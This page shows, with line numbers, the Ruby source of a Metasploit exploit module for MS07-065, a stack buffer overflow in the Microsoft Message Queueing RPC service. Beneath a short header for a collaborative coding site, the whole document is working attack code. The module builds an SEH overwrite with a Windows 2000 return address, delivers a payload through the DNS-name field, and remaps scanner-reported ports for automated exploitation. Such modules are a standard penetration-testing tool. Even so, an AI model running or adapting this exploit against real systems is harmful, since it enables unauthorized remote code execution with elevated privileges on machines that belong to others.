Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::DCERPC
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow',
15
      'Description'    => %q{
16
        This module exploits a stack buffer overflow in the RPC interface
17
      to the Microsoft Message Queueing service. This exploit requires
18
      the target system to have been configured with a DNS name and
19
      for that name to be supplied in the 'DNAME' option. This name does
20
      not need to be served by a valid DNS server, only configured on
21
      the target machine.
22

23
      },
24
      'Author'         => [ 'hdm' ],
25
      'License'        => MSF_LICENSE,
26
      'References'     =>
27
        [
28
          [ 'CVE', '2007-3039'],
29
          [ 'OSVDB', '39123'],
30
          [ 'MSB', 'MS07-065'],
31
        ],
32
      'Privileged'     => true,
33
      'Payload'        =>
34
        {
35
          'Space'    => 1024,
36
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
37
          'StackAdjustment' => -3500,
38

39
        },
40
      'Platform'      => %w{ win },
41
      'Targets'        =>
42
        [
43
          [
44
            'Windows 2000 Server English',
45
            {
46
              'Platform' => 'win',
47
              'Ret'      => 0x75022ac4 # ws2help - pop/pop/ret
48
            },
49
          ],
50
        ],
51
      'DisclosureDate' => '2007-12-11',
52
      'DefaultTarget' => 0))
53

54
    # Change the default port values to point at MSMQ
55
    register_options(
56
      [
57
        Opt::RPORT(2103),
58
        OptString.new('DNAME',  [ true,  "The DNS hostname of the target" ]),
59
      ])
60
  end
61

62
  def autofilter
63
    # Common vulnerability scanning tools report port 445/139
64
    # due to how they test for the vulnerability. Remap this
65
    # back to 2103 for automated exploitation
66

67
    rport = datastore['RPORT'].to_i
68
    if ( rport == 445 or rport == 139 )
69
      datastore['RPORT'] = 2103
70
    end
71

72
    # The fqdn is required to exploit this bug
73
    if (not datastore['DNAME'])
74
      # XXX automatically determine the hostname
75
      return false
76
    end
77

78
    true
79
  end
80

81
  def exploit
82

83
    connect
84
    print_status("Trying target #{target.name}...")
85

86
    handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
87
    print_status("Binding to #{handle} ...")
88
    dcerpc_bind(handle)
89
    print_status("Bound to #{handle} ...")
90

91
    dname = datastore['DNAME']
92

93
    boom = rand_text_alphanumeric(4096)
94

95
    hname,domain = dname.split(".")
96

97
    if(not domain)
98
      print_status("The DNAME parameter specified is not valid.")
99
      print_status("This option must be the fully-qualified domain name of the target (as it has been configured).")
100
      return
101
    end
102

103
    off = 310 - (hname.length * 2)
104

105
    seh = generate_seh_payload(target.ret)
106
    boom[off, seh.length] = seh
107

108
    buff  = Rex::Text.to_unicode("#{dname}\\")
109
    buff << boom
110
    buff << "\x00\x00"
111

112
    # Data alignment
113
    while(buff.length % 4 != 0)
114
      buff << "\x00"
115
    end
116

117
    stubdata =
118
      NDR.long(1) +                                           # [in] long arg_1,
119
      NDR.UnicodeConformantVaryingStringPreBuilt(buff) +      # [in][string] wchar_t * arg_2,
120
      NDR.long(0) * 5                                         # ... fields we can ignore
121

122
    print_status('Sending exploit...')
123

124
    begin
125
      response = dcerpc.call(6, stubdata)
126

127
      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
128
        case dcerpc.last_response.stub_data
129
        when "\x14\x00\x0e\xc0"
130
          print_error("Error: The wrong value has been supplied for the DNAME parameter")
131
          print_error("This value must be the fully-qualified domain name of the target")
132
          print_error("Many systems have no FQDN configured and cannot be exploited")
133
        else
134
          print_status("An unknown response was received from the server:")
135
          print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
136
        end
137
      end
138
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
139
      print_status("No response from the DCERPC service (this is usually a good thing).")
140
    end
141

142
    handler
143
    disconnect
144
  end
145
end
146

147